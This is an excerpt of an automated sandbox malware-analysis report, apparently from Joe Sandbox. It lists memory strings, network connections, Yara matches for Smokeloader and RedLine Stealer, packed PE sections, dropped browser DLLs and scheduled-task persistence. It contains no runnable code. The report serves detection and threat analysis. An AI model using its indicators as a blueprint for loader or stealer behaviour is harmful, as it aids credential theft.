Source: firefox.exe, 00000010.00000003.2550164665.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141517931.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276257169.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2531578596.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000010.00000003.2484457804.00000F1F81980000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca#
Source: userBKFCAFCFBA.exe, 00000007.00000003.1845679992.00000000021B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.
Source: firefox.exe, 00000010.00000003.2484457804.00000F1F81980000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2041475296.0000025CACDD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000010.00000003.2042257077.0000025CAC759000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2960744313.000001C0DA43A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2985333339.000001C0DA8E4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2985333339.000001C0DA8E0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2960744313.000001C0DA430000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2958151625.000002827224A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2982669619.0000028272664000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2982669619.0000028272660000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account
Source: firefox.exe, 0000000F.00000002.1926937706.0000029000300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account--attempting-deelevation
Source: firefox.exe, 0000001F.00000002.2985333339.000001C0DA8E4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2985333339.000001C0DA8E0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2960744313.000001C0DA430000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2982669619.0000028272664000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2982669619.0000028272660000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2958151625.0000028272240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:
Source: firefox.exe, 0000000C.00000003.1861999586.0000022EF455C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUS
Source: firefox.exe, 0000001F.00000002.2960744313.000001C0DA43A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountV
Source: firefox.exe, 00000025.00000002.2958151625.0000028272240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountg
Source: firefox.exe, 00000010.00000003.2484457804.00000F1F81980000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.comZ
Source: firefox.exe, 00000010.00000003.2072130532.0000025CACDCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.4:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 143.204.215.122:443 -> 192.168.2.4:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.4:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49899 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000031.00000002.2456683952.00000000024C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.2140576144.000000000265E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2139716029.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000031.00000002.2457916077.000000000250C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

PE file contains section with special chars

Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: userBGCAFHCAKF.exe.0.dr	Static PE information: section name:
Source: userBGCAFHCAKF.exe.0.dr	Static PE information: section name: .idata
Source: userBGCAFHCAKF.exe.0.dr	Static PE information: section name:
Source: RoamingBKEHDGDGHC.exe.0.dr	Static PE information: section name:
Source: RoamingBKEHDGDGHC.exe.0.dr	Static PE information: section name: .idata
Source: RoamingBKEHDGDGHC.exe.0.dr	Static PE information: section name:
Source: explorti.exe.3.dr	Static PE information: section name:
Source: explorti.exe.3.dr	Static PE information: section name: .idata
Source: explorti.exe.3.dr	Static PE information: section name:
Source: axplong.exe.21.dr	Static PE information: section name:
Source: axplong.exe.21.dr	Static PE information: section name: .idata
Source: axplong.exe.21.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.46.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C70ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C74B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C74B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C74B910
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 37_2_0000028272652A77 NtQuerySystemInformation,	37_2_0000028272652A77
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 37_2_0000028272658FF2 NtQuerySystemInformation,	37_2_0000028272658FF2

Source: C:\Users\userBGCAFHCAKF.exe	File created: C:\Windows\Tasks\explorti.job	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	File created: C:\Windows\Tasks\axplong.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E35A0	0_2_6C6E35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75545C	0_2_6C75545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F5440	0_2_6C6F5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75542B	0_2_6C75542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C725C10	0_2_6C725C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C732C10	0_2_6C732C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75AC00	0_2_6C75AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C726CF0	0_2_6C726CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6ED4E0	0_2_6C6ED4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70D4D0	0_2_6C70D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F64C0	0_2_6C6F64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7434A0	0_2_6C7434A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74C4A0	0_2_6C74C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F6C80	0_2_6C6F6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70ED10	0_2_6C70ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C710512	0_2_6C710512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FFD00	0_2_6C6FFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7485F0	0_2_6C7485F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720DD0	0_2_6C720DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C756E63	0_2_6C756E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EC670	0_2_6C6EC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C709E50	0_2_6C709E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C723E50	0_2_6C723E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C704640	0_2_6C704640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C732E4E	0_2_6C732E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C749E30	0_2_6C749E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C727E10	0_2_6C727E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C735600	0_2_6C735600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7576E3	0_2_6C7576E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EBEF0	0_2_6C6EBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FFEF0	0_2_6C6FFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C744EA0	0_2_6C744EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C705E90	0_2_6C705E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74E680	0_2_6C74E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C727710	0_2_6C727710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F9F00	0_2_6C6F9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C716FF0	0_2_6C716FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EDFE0	0_2_6C6EDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7377A0	0_2_6C7377A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72F070	0_2_6C72F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C708850	0_2_6C708850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70D850	0_2_6C70D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72B820	0_2_6C72B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C734820	0_2_6C734820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F7810	0_2_6C6F7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70C0E0	0_2_6C70C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7258E0	0_2_6C7258E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7550C7	0_2_6C7550C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7160A0	0_2_6C7160A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73B970	0_2_6C73B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75B170	0_2_6C75B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FD960	0_2_6C6FD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70A940	0_2_6C70A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71D9B0	0_2_6C71D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EC9A0	0_2_6C6EC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C725190	0_2_6C725190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C742990	0_2_6C742990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C729A60	0_2_6C729A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C701AF0	0_2_6C701AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72E2F0	0_2_6C72E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728AC0	0_2_6C728AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C752AB0	0_2_6C752AB0
Source: C:\Users\userBKFCAFCFBA.exe	Code function: 7_2_0040C898	7_2_0040C898
Source: C:\Users\userBKFCAFCFBA.exe	Code function: 7_2_0040E950	7_2_0040E950
Source: C:\Users\userBKFCAFCFBA.exe	Code function: 7_2_00410910	7_2_00410910
Source: C:\Users\userBKFCAFCFBA.exe	Code function: 7_2_004109D9	7_2_004109D9
Source: C:\Users\userBKFCAFCFBA.exe	Code function: 7_2_004105E0	7_2_004105E0
Source: C:\Users\userBKFCAFCFBA.exe	Code function: 7_2_00411580	7_2_00411580
Source: C:\Users\userBKFCAFCFBA.exe	Code function: 7_2_00410993	7_2_00410993
Source: C:\Users\userBKFCAFCFBA.exe	Code function: 7_2_00410600	7_2_00410600
Source: C:\Users\userBKFCAFCFBA.exe	Code function: 7_2_0040B347	7_2_0040B347
Source: C:\Users\userBKFCAFCFBA.exe	Code function: 7_2_0040F3C8	7_2_0040F3C8
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 37_2_0000028272652A77	37_2_0000028272652A77
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 37_2_0000028272658FF2	37_2_0000028272658FF2
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 37_2_0000028272659032	37_2_0000028272659032
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 37_2_000002827265971C	37_2_000002827265971C

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00404610 appears 315 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7294D0 appears 58 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C71CBE8 appears 112 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 6896 -ip 6896

Source: file.exe, 00000000.00000002.2170435708.000000006C965000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2139217582.0000000002456000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesOdilesigo6 vs file.exe
Source: file.exe, 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenamesOdilesigo6 vs file.exe

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000031.00000002.2456683952.00000000024C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.2140576144.000000000265E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2139716029.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000031.00000002.2457916077.000000000250C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: amadka[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983563866120219
Source: amadka[1].exe.0.dr	Static PE information: Section: xfxaajvq ZLIB complexity 0.9946101147296884
Source: userBGCAFHCAKF.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983563866120219
Source: userBGCAFHCAKF.exe.0.dr	Static PE information: Section: xfxaajvq ZLIB complexity 0.9946101147296884
Source: RoamingBKEHDGDGHC.exe.0.dr	Static PE information: Section: ZLIB complexity 0.998260331284153
Source: RoamingBKEHDGDGHC.exe.0.dr	Static PE information: Section: qhedmxhi ZLIB complexity 0.994405249407056
Source: explorti.exe.3.dr	Static PE information: Section: ZLIB complexity 0.9983563866120219
Source: explorti.exe.3.dr	Static PE information: Section: xfxaajvq ZLIB complexity 0.9946101147296884
Source: axplong.exe.21.dr	Static PE information: Section: ZLIB complexity 0.998260331284153
Source: axplong.exe.21.dr	Static PE information: Section: qhedmxhi ZLIB complexity 0.994405249407056

Source: axplong.exe.21.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: RoamingBKEHDGDGHC.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@150/426@44/30

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C747030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C747030

Source: C:\Users\user\Desktop\file.exe

